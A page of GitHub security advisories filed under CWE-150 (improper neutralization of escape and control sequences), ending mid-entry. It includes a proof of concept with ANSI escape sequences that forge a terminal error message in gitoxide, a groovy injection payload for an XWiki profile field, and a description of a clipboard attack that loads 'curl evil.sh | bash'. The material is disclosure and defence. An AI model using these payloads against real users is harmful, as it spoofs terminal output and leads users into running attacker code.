CWE-150
AllowedImproper Neutralization of Escape, Meta, or Control Sequences
Abstraction: Variant · Status: Incomplete
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component.
141 vulnerabilities reference this CWE, most recent first.
GHSA-76R7-HHXJ-R776
Vulnerability from github – Published: 2025-08-13 22:32 – Updated: 2025-08-21 21:36This vulnerability has been assigned the CVE identifier CVE-2025-55193
Impact
The ID passed to find or similar methods may be logged without escaping. If this is directly to the terminal it may include unescaped ANSI sequences.
Releases
The fixed releases are available at the normal locations.
Credits
Thanks to lio346 from Unit 515 of OPSWAT for reporting this vulnerability
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "activerecord"
},
"ranges": [
{
"events": [
{
"introduced": "8.0"
},
{
"fixed": "8.0.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "activerecord"
},
"ranges": [
{
"events": [
{
"introduced": "7.2"
},
{
"fixed": "7.2.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "activerecord"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.1.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-55193"
],
"database_specific": {
"cwe_ids": [
"CWE-150"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-13T22:32:18Z",
"nvd_published_at": "2025-08-13T23:15:26Z",
"severity": "MODERATE"
},
"details": "This vulnerability has been assigned the CVE identifier CVE-2025-55193\n\n### Impact\nThe ID passed to `find` or similar methods may be logged without escaping. If this is directly to the terminal it may include unescaped ANSI sequences.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\n### Credits\n\nThanks to [lio346](https://hackerone.com/lio346) from Unit 515 of OPSWAT for reporting this vulnerability",
"id": "GHSA-76r7-hhxj-r776",
"modified": "2025-08-21T21:36:39Z",
"published": "2025-08-13T22:32:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rails/rails/security/advisories/GHSA-76r7-hhxj-r776"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55193"
},
{
"type": "WEB",
"url": "https://github.com/rails/rails/commit/3beef20013736fd52c5dcfdf061f7999ba318290"
},
{
"type": "WEB",
"url": "https://github.com/rails/rails/commit/568c0bc2f1e74c65d150a84b89a080949bf9eb9b"
},
{
"type": "WEB",
"url": "https://github.com/rails/rails/commit/6a944ca4805e72050a0fbb1a461534eb760d3202"
},
{
"type": "PACKAGE",
"url": "https://github.com/rails/rails"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activerecord/CVE-2025-55193.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Active Record logging vulnerable to ANSI escape injection"
}
GHSA-7GCP-2GMQ-W3XH
Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2023-03-09 00:37RubyGems prior to 2.6.13 is vulnerable to maliciously crafted gem specifications that include terminal escape characters. Printing the gem specification would execute terminal escape sequences.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rubygems-update"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-0899"
],
"database_specific": {
"cwe_ids": [
"CWE-150",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-09T00:37:49Z",
"nvd_published_at": "2017-08-31T20:29:00Z",
"severity": "CRITICAL"
},
"details": "RubyGems prior to 2.6.13 is vulnerable to maliciously crafted gem specifications that include terminal escape characters. Printing the gem specification would execute terminal escape sequences.",
"id": "GHSA-7gcp-2gmq-w3xh",
"modified": "2023-03-09T00:37:49Z",
"published": "2022-05-13T01:38:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0899"
},
{
"type": "WEB",
"url": "https://github.com/rubygems/rubygems/commit/1bcbc7fe637b03145401ec9c094066285934a7f1"
},
{
"type": "WEB",
"url": "https://github.com/rubygems/rubygems/commit/ef0aa611effb5f54d40c7fba6e8235eb43c5a491"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/226335"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:3485"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0378"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0583"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0585"
},
{
"type": "PACKAGE",
"url": "https://github.com/rubygems/rubygems"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/07/msg00012.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201710-01"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20170907215801/http://www.securitytracker.com/id/1039249"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20170915000000*/http://www.securityfocus.com/bid/100576#:~:text=1%20snapshot-,11%3A49%3A33,-Note"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2017/dsa-3966"
},
{
"type": "WEB",
"url": "http://blog.rubygems.org/2017/08/27/2.6.13-released.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "RubyGems Code Injection vulnerability"
}
GHSA-7GPV-C5RV-9QXM
Vulnerability from github – Published: 2026-03-20 18:31 – Updated: 2026-04-14 15:30An improper neutralization of escape, meta, or control sequences vulnerability has been reported to affect QHora. If a local attacker gains an administrator account, they can then exploit the vulnerability to cause unexpected behavior.
We have already fixed the vulnerability in the following version: QuRouter 2.6.3.009 and later
{
"affected": [],
"aliases": [
"CVE-2025-62845"
],
"database_specific": {
"cwe_ids": [
"CWE-150"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-20T17:16:42Z",
"severity": "MODERATE"
},
"details": "An improper neutralization of escape, meta, or control sequences vulnerability has been reported to affect QHora. If a local attacker gains an administrator account, they can then exploit the vulnerability to cause unexpected behavior.\n\nWe have already fixed the vulnerability in the following version:\nQuRouter 2.6.3.009 and later",
"id": "GHSA-7gpv-c5rv-9qxm",
"modified": "2026-04-14T15:30:28Z",
"published": "2026-03-20T18:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62845"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-26-12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7M59-RFR2-GH4P
Vulnerability from github – Published: 2024-04-29 00:30 – Updated: 2024-07-03 18:37RARLAB WinRAR before 7.00, on Linux and UNIX platforms, allows attackers to spoof the screen output, or cause a denial of service, via ANSI escape sequences.
{
"affected": [],
"aliases": [
"CVE-2024-33899"
],
"database_specific": {
"cwe_ids": [
"CWE-150"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-29T00:15:07Z",
"severity": "HIGH"
},
"details": "RARLAB WinRAR before 7.00, on Linux and UNIX platforms, allows attackers to spoof the screen output, or cause a denial of service, via ANSI escape sequences.",
"id": "GHSA-7m59-rfr2-gh4p",
"modified": "2024-07-03T18:37:14Z",
"published": "2024-04-29T00:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33899"
},
{
"type": "WEB",
"url": "https://sdushantha.medium.com/ansi-escape-injection-vulnerability-in-winrar-a2cbfac4b983"
},
{
"type": "WEB",
"url": "https://www.rarlab.com/rarnew.htm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-88G2-R9RW-G55H
Vulnerability from github – Published: 2024-08-22 16:41 – Updated: 2025-01-21 18:31Summary
The gix and ein commands write pathnames and other metadata literally to terminals, even if they contain characters terminals treat specially, including ANSI escape sequences. This sometimes allows an untrusted repository to misrepresent its contents and to alter or concoct error messages.
Details
gitoxide-core, which provides most underlying functionality of the gix and ein commands, does not neutralize newlines, backspaces, or control characters—including those that form ANSI escape sequences—that appear in a repository's paths, author and committer names, commit messages, or other metadata. Such text may be written as part of the output of a command, as well as appearing in error messages when an operation fails.
ANSI escape sequences are of particular concern because, when printed to a terminal, they can change colors, including to render subsequent text unreadable; reposition the cursor to write text in a different location, including where text has already been written; clear the terminal; set the terminal title-bar text to arbitrary values; render the terminal temporarily unusable; and other such operations.
The effect is mostly an annoyance. But the author of a malicious repository who can predict how information from the repository may be accessed can cause files in the repository to be concealed or otherwise misrepresented, as well as rewrite all or part of error messages, or mimic error messages convincingly by repositioning the cursor and writing colored text.
PoC
On a Unix-like system in a POSIX-compatible shell, run:
git init misleading-path
cd misleading-path
touch "$(printf '\033]0;Boo!\007\033[2K\r\033[91mError: Repository is corrupted. Run \033[96mEVIL_COMMAND\033[91m to attempt recovery.\033[0m')"
git add .
git commit -m 'Initial commit'
In the repository—or, if desired, in a clone of it, to show that this is exploitable by getting a user to clone an untrusted repository—run this command, which outputs entries in a three-column form showing type, hash, and filename:
gix tree entries
Although the output is of that form, it does not appear to be. Instead, the output in a terminal looks like this, colorized to appear to be an error message, with EVIL_COMMAND in another color, and with no other text:
Error: Repository is corrupted. Run EVIL_COMMAND to attempt recovery.
In some terminals, a beep or other sound will be made. In most terminals, the title bar text will be changed to Boo!, though in some shells this may be immediately undone when printing the prompt. These elements are included to showcase the abilities of ANSI escape sequences, but they are not usually themselves threats.
To see what is actually produced, gix tree entries can be piped to a command that displays special characters symbolically, such as less or cat -v if available.
BLOB e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 ESC]0;Boo!^GESC[2K^MESC[91mError: Repository is corrupted. Run ESC[96mEVIL_COMMANDESC[91m to attempt recovery.ESC[0m
That shows the effect on gix tree entries, but various other commands are also affected, and the escape sequences and other special characters can also appear in non-path metadata, such as in the user.name used to create a commit.
Impact
For users who do not clone or operate in clones of untrusted repositories, there is no impact. Windows is much less affected than Unix-like systems due to limitations on what characters can appear in filenames, and because traditionally Windows terminals do not support as many ANSI escape sequences.
Because different gix and ein commands display different data in different formats, the author of a malicious repository must guess how it will be used, which complicates crafting truly convincing output, though it may be possible to craft a repository where gix clone fails to clone it but produces a misleading message.
Although this is mainly exploitable on systems other than Windows, in the ability to produce misleading output this superficially resembles CVE-2024-35197. But this is much more limited, because:
- The misleading output can only be made to go where the application is already sending output. Redirection is not defeated, and devices to access cannot be chosen by the attacker.
- The misleading output can only be take place when the application is already producing output. This limitation complicates the production of believable messages.
- Only terminals are affected. Even if a standard stream is redirected to another file or device, these special characters would not have a special effect, unless echoed later without sanitization.
- Reading and blocking cannot be performed.
- Applications other than the gitoxide
gixandeinexecutables are unaffected. The exception is if another application usesgitoxide-core. But this is explicitly discouraged in thegitoxide-coredocumentation and is believed to be rare.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "gitoxide-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.45.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "gitoxide"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.41.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-43785"
],
"database_specific": {
"cwe_ids": [
"CWE-150"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-22T16:41:28Z",
"nvd_published_at": "2024-08-22T15:15:16Z",
"severity": "LOW"
},
"details": "### Summary\n\nThe `gix` and `ein` commands write pathnames and other metadata literally to terminals, even if they contain characters terminals treat specially, including ANSI escape sequences. This sometimes allows an untrusted repository to misrepresent its contents and to alter or concoct error messages.\n\n### Details\n\n`gitoxide-core`, which provides most underlying functionality of the `gix` and `ein` commands, does not neutralize newlines, backspaces, or control characters\u2014including those that form ANSI escape sequences\u2014that appear in a repository\u0027s paths, author and committer names, commit messages, or other metadata. Such text may be written as part of the output of a command, as well as appearing in error messages when an operation fails.\n\nANSI escape sequences are of particular concern because, when printed to a terminal, they can change colors, including to render subsequent text unreadable; reposition the cursor to write text in a different location, including where text has already been written; clear the terminal; set the terminal title-bar text to arbitrary values; render the terminal temporarily unusable; and other such operations.\n\nThe effect is mostly an annoyance. But the author of a malicious repository who can predict how information from the repository may be accessed can cause files in the repository to be concealed or otherwise misrepresented, as well as rewrite all or part of error messages, or mimic error messages convincingly by repositioning the cursor and writing colored text.\n\n### PoC\n\nOn a Unix-like system in a POSIX-compatible shell, run:\n\n```sh\ngit init misleading-path\ncd misleading-path\ntouch \"$(printf \u0027\\033]0;Boo!\\007\\033[2K\\r\\033[91mError: Repository is corrupted. Run \\033[96mEVIL_COMMAND\\033[91m to attempt recovery.\\033[0m\u0027)\"\ngit add .\ngit commit -m \u0027Initial commit\u0027\n```\n\nIn the repository\u2014or, if desired, in a clone of it, to show that this is exploitable by getting a user to clone an untrusted repository\u2014run this command, which outputs entries in a three-column form showing type, hash, and filename:\n\n```sh\ngix tree entries\n```\n\nAlthough the output is of that form, it does not appear to be. Instead, the output in a terminal looks like this, colorized to appear to be an error message, with `EVIL_COMMAND` in another color, and with no other text:\n\n```text\nError: Repository is corrupted. Run EVIL_COMMAND to attempt recovery.\n```\n\nIn some terminals, a beep or other sound will be made. In most terminals, the title bar text will be changed to `Boo!`, though in some shells this may be immediately undone when printing the prompt. These elements are included to showcase the abilities of ANSI escape sequences, but they are not usually themselves threats.\n\nTo see what is actually produced, `gix tree entries` can be piped to a command that displays special characters symbolically, such as `less` or `cat -v` if available.\n\n```text\nBLOB e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 ESC]0;Boo!^GESC[2K^MESC[91mError: Repository is corrupted. Run ESC[96mEVIL_COMMANDESC[91m to attempt recovery.ESC[0m\n```\n\nThat shows the effect on `gix tree entries`, but various other commands are also affected, and the escape sequences and other special characters can also appear in non-path metadata, such as in the `user.name` used to create a commit.\n\n### Impact\n\nFor users who do not clone or operate in clones of untrusted repositories, there is no impact.\nWindows is much less affected than Unix-like systems due to limitations on what characters can appear in filenames, and because traditionally Windows terminals do not support as many ANSI escape sequences.\n\nBecause different `gix` and `ein` commands display different data in different formats, the author of a malicious repository must guess how it will be used, which complicates crafting truly convincing output, though it may be possible to craft a repository where `gix clone` fails to clone it but produces a misleading message.\n\nAlthough this is mainly exploitable on systems *other* than Windows, in the ability to produce misleading output this superficially resembles CVE-2024-35197. But this is much more limited, because:\n\n- The misleading output can only be made to go where the application is already sending output. Redirection is not defeated, and devices to access cannot be chosen by the attacker.\n- The misleading output can only be take place *when* the application is already producing output. This limitation complicates the production of believable messages.\n- Only terminals are affected. Even if a standard stream is redirected to another file or device, these special characters would not have a special effect, unless echoed later without sanitization.\n- Reading and blocking cannot be performed.\n- Applications other than the gitoxide `gix` and `ein` executables are unaffected. The exception is if another application uses `gitoxide-core`. But this is explicitly discouraged in the `gitoxide-core` documentation and is believed to be rare.",
"id": "GHSA-88g2-r9rw-g55h",
"modified": "2025-01-21T18:31:55Z",
"published": "2024-08-22T16:41:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Byron/gitoxide/security/advisories/GHSA-88g2-r9rw-g55h"
},
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-88g2-r9rw-g55h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43785"
},
{
"type": "PACKAGE",
"url": "https://github.com/Byron/gitoxide"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2024-0364.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "gitoxide-core does not neutralize special characters for terminals"
}
GHSA-89XP-C3MQ-QJ84
Vulnerability from github – Published: 2025-03-17 00:30 – Updated: 2025-03-17 14:45gurk (aka gurk-rs) through 0.6.3 mishandles ANSI escape sequences.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "gurk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.6.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-30089"
],
"database_specific": {
"cwe_ids": [
"CWE-150"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-17T14:45:39Z",
"nvd_published_at": "2025-03-17T00:15:13Z",
"severity": "MODERATE"
},
"details": "gurk (aka gurk-rs) through 0.6.3 mishandles ANSI escape sequences.",
"id": "GHSA-89xp-c3mq-qj84",
"modified": "2025-03-17T14:45:39Z",
"published": "2025-03-17T00:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30089"
},
{
"type": "WEB",
"url": "https://github.com/boxdot/gurk-rs/issues/384"
},
{
"type": "WEB",
"url": "https://crates.io/crates/gurk"
},
{
"type": "PACKAGE",
"url": "https://github.com/boxdot/gurk-rs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "gurk (aka gurk-rs) mishandles ANSI escape sequences"
}
GHSA-8CW6-4R32-6R3H
Vulnerability from github – Published: 2023-03-03 22:49 – Updated: 2023-03-03 22:49Impact
Any user can edit his own profile and inject code which is going to be executed with programming right.
Steps to reproduce:
- Set your first name to
{{cache id="userProfile"}}{{groovy}}println("Hello from groovy!"){{/groovy}}{{/cache}}
The first name appears as interpreted "Hello from groovy" instead of the expected fully escaped "{{cache id="userProfile"}}{{groovy}}println("Hello from groovy!"){{/groovy}}{{/cache}}".
The same vulnerability can also be exploited in all other places where short text properties are displayed, e.g., in apps created using Apps Within Minutes that use a short text field.
Patches
The problem has been patched on versions 13.10.9, 14.4.4, 14.7RC1.
Workarounds
There are no other workarounds than upgrading XWiki or patching the xwiki-commons-xml JAR file.
References
- https://jira.xwiki.org/browse/XWIKI-19793
- https://jira.xwiki.org/browse/XWIKI-19794
- https://jira.xwiki.org/browse/XCOMMONS-2498
For more information
If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.commons:xwiki-commons-xml"
},
"ranges": [
{
"events": [
{
"introduced": "3.1-milestone-1"
},
{
"fixed": "13.10.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.commons:xwiki-commons-xml"
},
"ranges": [
{
"events": [
{
"introduced": "14.0-rc-1"
},
{
"fixed": "14.4.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.commons:xwiki-commons-xml"
},
"ranges": [
{
"events": [
{
"introduced": "14.5"
},
{
"fixed": "14.7-rc-1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-26055"
],
"database_specific": {
"cwe_ids": [
"CWE-150"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-03T22:49:27Z",
"nvd_published_at": "2023-03-02T19:15:00Z",
"severity": "CRITICAL"
},
"details": "### Impact\nAny user can edit his own profile and inject code which is going to be executed with programming right.\n\nSteps to reproduce:\n\n* Set your first name to\n\n```\n {{cache id=\"userProfile\"}}{{groovy}}println(\"Hello from groovy!\"){{/groovy}}{{/cache}}\n```\n\nThe first name appears as interpreted \"`Hello from groovy`\" instead of the expected fully escaped \"`{{cache id=\"userProfile\"}}{{groovy}}println(\"Hello from groovy!\"){{/groovy}}{{/cache}}`\".\n\nThe same vulnerability can also be exploited in all other places where short text properties are displayed, e.g., in apps created using [Apps Within Minutes](https://extensions.xwiki.org/xwiki/bin/view/Extension/App%20Within%20Minutes%20Application) that use a short text field.\n\n### Patches\nThe problem has been patched on versions 13.10.9, 14.4.4, 14.7RC1.\n\n### Workarounds\nThere are no other workarounds than upgrading XWiki or patching the xwiki-commons-xml JAR file.\n\n### References\n* https://jira.xwiki.org/browse/XWIKI-19793\n* https://jira.xwiki.org/browse/XWIKI-19794\n* https://jira.xwiki.org/browse/XCOMMONS-2498\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
"id": "GHSA-8cw6-4r32-6r3h",
"modified": "2023-03-03T22:49:27Z",
"published": "2023-03-03T22:49:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-commons/security/advisories/GHSA-8cw6-4r32-6r3h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26055"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-commons"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XCOMMONS-2498"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-19793"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-19794"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "XWiki Platform may allow privilege escalation to programming rights via user\u0027s first name"
}
GHSA-8FCJ-GF77-47MG
Vulnerability from github – Published: 2023-01-25 19:40 – Updated: 2023-02-07 15:50Impact
A denial of services (DoS) vulnerability was discovered in Wrangler Git package affecting versions up to and including v1.0.0.
Specially crafted Git credentials can result in a denial of service (DoS) attack on an application that uses Wrangler due to the exhaustion of the available memory and CPU resources. This is caused by a lack of input validation of Git credentials before they are used, which may lead to a denial of service in some cases. This issue can be triggered when accessing both private and public Git repositories.
Workarounds
A workaround is to sanitize input passed to the Git package to remove potential unsafe and ambiguous characters. Otherwise, the best course of action is to update to a patched Wrangler version.
Patches
Patched versions include v1.0.1 and later and the backported tags - v0.7.4-security1, v0.8.5-security1 and v0.8.11.
For more information
If you have any questions or comments about this advisory:
- Reach out to SUSE Rancher Security team for security related inquiries.
- Open an issue in Rancher or Wrangler repository.
- Verify our support matrix and product support lifecycle.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.7.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/rancher/wrangler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.7.4-security1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.4"
},
"package": {
"ecosystem": "Go",
"name": "github.com/rancher/wrangler"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.0"
},
{
"fixed": "0.8.5-security1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/rancher/wrangler"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.0.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.0.0"
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/rancher/wrangler"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.6"
},
{
"fixed": "0.8.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-43756"
],
"database_specific": {
"cwe_ids": [
"CWE-150",
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-25T19:40:26Z",
"nvd_published_at": "2023-02-07T13:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nA denial of services (DoS) vulnerability was discovered in Wrangler Git package affecting versions up to and including `v1.0.0`.\n\nSpecially crafted Git credentials can result in a denial of service (DoS) attack on an application that uses Wrangler due to the exhaustion of the available memory and CPU resources. This is caused by a lack of input validation of Git credentials before they are used, which may lead to a denial of service in some cases. This issue can be triggered when accessing both private and public Git repositories. \n\n### Workarounds\n\nA workaround is to sanitize input passed to the Git package to remove potential unsafe and ambiguous characters. Otherwise, the best course of action is to update to a patched Wrangler version.\n\n### Patches\n\nPatched versions include `v1.0.1` and later and the backported tags - `v0.7.4-security1`, `v0.8.5-security1` and `v0.8.11`.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Reach out to [SUSE Rancher Security team](https://github.com/rancher/rancher/security/policy) for security related inquiries.\n* Open an issue in [Rancher](https://github.com/rancher/rancher/issues/new/choose) or [Wrangler](https://github.com/rancher/wrangler/issues/new) repository.\n* Verify our [support matrix](https://www.suse.com/suse-rancher/support-matrix/all-supported-versions/) and [product support lifecycle](https://www.suse.com/lifecycle/).",
"id": "GHSA-8fcj-gf77-47mg",
"modified": "2023-02-07T15:50:58Z",
"published": "2023-01-25T19:40:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rancher/wrangler/security/advisories/GHSA-8fcj-gf77-47mg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43756"
},
{
"type": "WEB",
"url": "https://github.com/rancher/wrangler/commit/341018c8fef3e12867c7cb2649bd2cecac75f287"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1205296"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-8fcj-gf77-47mg"
},
{
"type": "WEB",
"url": "https://github.com/rancher/rancher/security/policy"
},
{
"type": "PACKAGE",
"url": "https://github.com/rancher/wrangler"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2023-1515"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of service (DoS) when processing Git credentials"
}
GHSA-8GVC-V57H-233C
Vulnerability from github – Published: 2026-09-13 12:31 – Updated: 2026-09-13 12:31procs through 0.14.12 fails to sanitize escape sequences in process command lines before displaying them in the Command column. Local attackers can execute processes with malicious ANSI or OSC escape sequences in their command line arguments, which are written unmodified to other users' terminals for interpretation by terminal emulators.
{
"affected": [],
"aliases": [
"CVE-2026-90773"
],
"database_specific": {
"cwe_ids": [
"CWE-150"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-13T11:17:01Z",
"severity": "LOW"
},
"details": "procs through 0.14.12 fails to sanitize escape sequences in process command lines before displaying them in the Command column. Local attackers can execute processes with malicious ANSI or OSC escape sequences in their command line arguments, which are written unmodified to other users\u0027 terminals for interpretation by terminal emulators.",
"id": "GHSA-8gvc-v57h-233c",
"modified": "2026-09-13T12:31:12Z",
"published": "2026-09-13T12:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-90773"
},
{
"type": "WEB",
"url": "https://github.com/dalance/procs/issues/950"
},
{
"type": "WEB",
"url": "https://github.com/dalance/procs/commit/a064cec7d59f69a636d38e247824245dcd3a9836"
},
{
"type": "WEB",
"url": "https://github.com/dalance/procs"
},
{
"type": "WEB",
"url": "https://github.com/dalance/procs/blob/v0.14.12/src/columns/command.rs"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/procs-through-0.14.12-terminal-escape-sequence-injection-via-command"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8QX3-8GM5-9CJ2
Vulnerability from github – Published: 2026-08-25 15:59 – Updated: 2026-08-25 15:59Impact
pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway.
Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:
- OSC 52 clipboard write — silently load e.g.
curl evil.sh | bashinto the user's clipboard; their next paste-into-shell is RCE. - Cursor-movement + erase (
